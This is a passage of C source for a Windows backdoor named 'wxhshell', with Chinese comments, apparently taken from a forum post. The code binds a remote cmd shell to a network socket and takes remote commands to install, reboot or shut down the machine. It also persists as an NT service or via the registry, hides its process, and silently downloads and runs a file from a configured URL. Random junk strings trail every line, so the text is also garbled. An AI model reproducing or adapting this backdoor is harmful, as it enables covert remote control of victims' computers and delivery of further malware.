  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); THz=_L6  
  } _sC kBDl-  
  else { o;7_*=i  
$D~vuA7  
    switch(cmd[0]) { uDsof?z  
  lwp(Pq  
  // 帮助 k+y>xI,  
  case '?': { ^Mi&2AvS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E~eSHJ(oR7  
    break; nfA#d-  
  } LLW xzu!<  
  // 安装 -%>.Z1uj  
  case 'i': { ql%]t~HR0  
    if(Install()) 'A#F< x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _U`1BmTC2  
    else UeN+}`!l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <#No t1R  
    break; KPB^>,T2{  
    } ,|Lf6k  
  // 卸载 7Un5Y[FZo  
  case 'r': { _J -3{a  
    if(Uninstall()) `T~~yM)q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,-_\Y hY>  
    else /\|Behif  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|'{Cb   
    break; (}&O)3)  
    } 0v'FE35~s  
  // 显示 wxhshell 所在路径 |(O _K(  
  case 'p': { fv?vfI+m  
    char svExeFile[MAX_PATH]; GJbU1k]  
    strcpy(svExeFile,"\n\r"); 0ZjinWkR[  
      strcat(svExeFile,ExeFile); SKrkB~%z  
        send(wsh,svExeFile,strlen(svExeFile),0); wEMg~Hh  
    break; ,5/zTLd   
    } mybvD  
  // 重启 ^V;2v? O  
  case 'b': { A"R5Fd%6pc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q:sw*7"F  
    if(Boot(REBOOT)) Qr$Ay3#k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $(ei<cAV  
    else { R,KoymXP  
    closesocket(wsh); LGF5yRk  
    ExitThread(0); qo62!q  
    } M_EXA _  
    break; g=_@j`  
    } >Mc,c(CvU  
  // 关机 "I)`g y&  
  case 'd': { MPF;P&6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =r1 @?x  
    if(Boot(SHUTDOWN)) 1"P^!N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)IS[:X  
    else { pv){R;f  
    closesocket(wsh); w8>  
    ExitThread(0); t&L+]I'P3  
    } )H`1CcT  
    break; p:CpY'KV_  
    } D+xHTQNTL  
  // 获取shell `dK%I  U  
  case 's': { t +@UC+aW  
    CmdShell(wsh); sqP (1|9  
    closesocket(wsh); 1*u i|fuK  
    ExitThread(0); <zhN7="  
    break; C lekB  
  } jj8h>"d  
  // 退出 @O Rk  
  case 'x': { euc|G Xs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *mTx0sQz(J  
    CloseIt(wsh); yp.\KLq8)  
    break; UA]U_P$c  
    } Jx_BjkF  
  // 离开 s6| S#  
  case 'q': { 2#?qey  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C AvyS  
    closesocket(wsh); j65qIw_Z  
    WSACleanup(); n#lZRwhq  
    exit(1); gS$?#!f  
    break; L! DK2,  
        } U jrML  
  } zs@xw@  
  } }* s%|!{H  
Me XGE  
  // 提示信息 380M &Guh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G>yTv`-  
} Uc<j{U ,  
  } eod-N}o  
6o!Y^^/U  
  return; 0.}WZAYy~  
} F2 #s^4Ii  
c mI&R(  
// shell模块句柄 B8sc;Z.  
int CmdShell(SOCKET sock) dZ"w2ho  
{ `;vJ\$-<  
STARTUPINFO si; _Nmc1azS  
ZeroMemory(&si,sizeof(si)); WY 'QhieH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F vt5vQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y-i6StJ  
PROCESS_INFORMATION ProcessInfo; IGC:zZ~z  
char cmdline[]="cmd"; AV%t<fDG#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Q m1+tg  
  return 0; |}Wm,J  
} qZz?i  
7g&"clRGO  
// 自身启动模式 ;('(Yn7~  
int StartFromService(void) N=[# "4I  
{ |MQ_VZ{6  
typedef struct K[~fpQGbV1  
{ y (w&6:  
  DWORD ExitStatus; >.X& v  
  DWORD PebBaseAddress; 1U(P0$C  
  DWORD AffinityMask; Y)oF;ko:  
  DWORD BasePriority; lI"~*"c`  
  ULONG UniqueProcessId; V0ig#?]  
  ULONG InheritedFromUniqueProcessId; ;Or]x?-  
}   PROCESS_BASIC_INFORMATION; Svun RUE-f  
MJDW-KL-  
PROCNTQSIP NtQueryInformationProcess; #o/  
: 3 aZ_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8,DY0PGP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jf WZLb)  
2#hfBJg@  
  HANDLE             hProcess; gf\F%VmSN  
  PROCESS_BASIC_INFORMATION pbi; $ 9%UAqk9  
(n+FEE<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +IkL=/';#  
  if(NULL == hInst ) return 0; CqkY_z  
"1iLfQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "gCqb;^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (- QvlpZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a58]#L~  
J'H}e F`  
  if (!NtQueryInformationProcess) return 0; }3DZ`8u  
OoqA`%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4/J"}S  
  if(!hProcess) return 0; (l ]_0-Z  
XK=-$2n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L7rH=gZ&!]  
.FWi$B';  
  CloseHandle(hProcess); x3L0;:Fx8P  
(ibj~g?U,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :5, k64'D  
if(hProcess==NULL) return 0; wk[4Qsk<  
_>=QZ`!r  
HMODULE hMod; sb"h:i>O4  
char procName[255]; Y4j%K~ls Y  
unsigned long cbNeeded; @||GMA+|  
r0L' mf$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _p^&]eQ+k#  
e]k\dj;,^%  
  CloseHandle(hProcess); ,E3Ze*(U  
^EF VjGM  
if(strstr(procName,"services")) return 1; // 以服务启动 S #6:!  
iQ#dWxw4  
  return 0; // 注册表启动 $s,Az_bs  
} W'3~vQF  
9>7w1G#  
// 主模块 t}x^*I$*  
int StartWxhshell(LPSTR lpCmdLine) mVVL[z2+  
{ sOb=+u$$9  
  SOCKET wsl; m(rd\3d  
BOOL val=TRUE; ^W*3S[-`g  
  int port=0; trm-&e7q?;  
  struct sockaddr_in door; 7:Be.(a  
:211T&B%A_  
  if(wscfg.ws_autoins) Install();  5JggU  
+ )lkHv$R  
port=atoi(lpCmdLine); DNmP>~  
( *Fb/  
if(port<=0) port=wscfg.ws_port; 2'T uS?  
:vo#(  
  WSADATA data; \VAm4   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C]GW u~QF  
P&.-c _  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d6vls7J/4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aYrbB#  
  door.sin_family = AF_INET; o%_Hmd;_'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7AuzGA0y  
  door.sin_port = htons(port); gq~6 jf>  
||^+(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j&w4yY  
closesocket(wsl); s^zX9IVnp  
return 1; .F^372hH3  
} \wM8I-f!  
pZV=Co3!I  
  if(listen(wsl,2) == INVALID_SOCKET) { }y&tF'qG  
closesocket(wsl); U])$#/ v  
return 1; ?CSv;:  
} ;q&2$Mb  
  Wxhshell(wsl); kH">(f  
  WSACleanup(); -&QTy  
pWOK~=t  
return 0; ;:Q&Rf"@%  
gvCQ![  
} ~d"9?K^#  
kmur={IR  
// 以NT服务方式启动 k r ga!,I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )Nnrsa  
{ xjH({(/B>a  
DWORD   status = 0; H-/w8_} KG  
  DWORD   specificError = 0xfffffff; [I2vg<my  
Y@2v/O,\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Yu|LaI\<m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,ocAB;K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i>{.Y};  
  serviceStatus.dwWin32ExitCode     = 0; [|tlTk   
  serviceStatus.dwServiceSpecificExitCode = 0; #H-EOXy  
  serviceStatus.dwCheckPoint       = 0; kJk6lPSqi7  
  serviceStatus.dwWaitHint       = 0; b<8,'QgB  
E:ti]$$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ck>{7 Gw  
  if (hServiceStatusHandle==0) return; |?<^4U8  
f`bRg8v  
status = GetLastError(); y1_z(L;I  
  if (status!=NO_ERROR) v&r\Z @%  
{ u )k Q*&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '@G=xYR  
    serviceStatus.dwCheckPoint       = 0; fp?cb2'7  
    serviceStatus.dwWaitHint       = 0; {vox x&UX  
    serviceStatus.dwWin32ExitCode     = status; O%*:fd,o-  
    serviceStatus.dwServiceSpecificExitCode = specificError; -W.bOr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo+^R%K' 4  
    return; Y^-D'2P]P  
  } "/0Vvy_|  
L7PM am  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W_RN@O  
  serviceStatus.dwCheckPoint       = 0; ,lb >  
  serviceStatus.dwWaitHint       = 0; ^2 \-zX!bt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k<QZ_*x}G  
} f?W"^6Df  
5KC Zg'h  
// 处理NT服务事件,比如:启动、停止 l dw!G/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W,bu=2K6  
{ bTc^ huP  
switch(fdwControl) MwTouEGGgA  
{ P]<15l  
case SERVICE_CONTROL_STOP: DT[WO_=  
  serviceStatus.dwWin32ExitCode = 0; d]+2rt}]hL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z6uHe{|  
  serviceStatus.dwCheckPoint   = 0; ;&`6b:ug  
  serviceStatus.dwWaitHint     = 0; PaZd^0'!Z  
  { MoC@n+Q+@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >TG#  
  } -fT}Nj\  
  return; 7_CX6:  
case SERVICE_CONTROL_PAUSE: 5 [X,?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P 9?I]a)G  
  break; -muP.h/  
case SERVICE_CONTROL_CONTINUE: I/)*pzt8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rv Uw,=  
  break; Wp(Rw4j  
case SERVICE_CONTROL_INTERROGATE: KS Q*HO)5  
  break; Ws;X;7tS  
}; vpz l{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X]c>clk,  
} X6so)1jJ  
j5MUP&/g3  
// 标准应用程序主函数 t`pbEjE0K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .tA=5 QY,  
{ NKMVp/66D  
d-'BT(@:  
// 获取操作系统版本 f[Xsri  
OsIsNt=GetOsVer(); :uB(PeAv*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nn-EtM0w  
iH>IV0 <  
  // 从命令行安装 =?[:Nj636  
  if(strpbrk(lpCmdLine,"iI")) Install(); (CrP6]=  
BY>]6SrP  
  // 下载执行文件 hUe\sv!x?  
if(wscfg.ws_downexe) { ;!,I1{`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Z(Q7j^  
  WinExec(wscfg.ws_filenam,SW_HIDE); (N?nOOQ  
} u]sxX")  
c]A @'{7  
if(!OsIsNt) { zvR;Tl6]  
// 如果时win9x,隐藏进程并且设置为注册表启动 iiv`ji  
HideProc(); C@!bd+'  
StartWxhshell(lpCmdLine); m*vz   
} V<Co!2S  
else &/8B (0<  
  if(StartFromService()) qflOi8  
  // 以服务方式启动 8u7QF4 Id  
  StartServiceCtrlDispatcher(DispatchTable); "GX k;Y  
else F0ylJ /E  
  // 普通方式启动 hq?F8 1  
  StartWxhshell(lpCmdLine); <z8z\4Hz  
cv-;fd>'  
return 0; T$1(6<:+.  
}
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只看该作者 1 发表于: 2006-10-10
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